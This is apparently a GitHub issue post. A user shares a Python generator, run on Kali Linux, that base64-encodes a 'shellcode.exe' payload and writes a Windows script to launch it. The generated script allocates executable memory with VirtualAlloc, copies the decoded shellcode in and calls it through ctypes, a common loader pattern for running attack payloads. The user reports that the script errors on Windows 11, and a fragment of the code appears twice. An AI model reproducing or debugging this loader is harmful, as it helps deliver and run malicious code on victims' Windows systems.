You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
The text was updated successfully, but these errors were encountered:
The code running in Kali linux
windows_script.py
with open('shellcode.exe', 'rb') as shellcode_file:
shellcode = shellcode_file.read()
import base64
encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')
with open('windows_script.py', 'w') as f:
f.write(f'''import base64
import ctypes
decoded_shellcode = base64.b64decode("{encoded_shellcode}")
kernel32 = ctypes.windll.kernel32
shellcode_buffer = kernel32.VirtualAlloc(
ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
if not shellcode_buffer:
raise MemoryError("VirtualAlloc failed to allocate memory")
ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))
shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer)
shell_func()
''')
#The error result of the generated. py file running on Win11 is shown in the figure
The text was updated successfully, but these errors were encountered: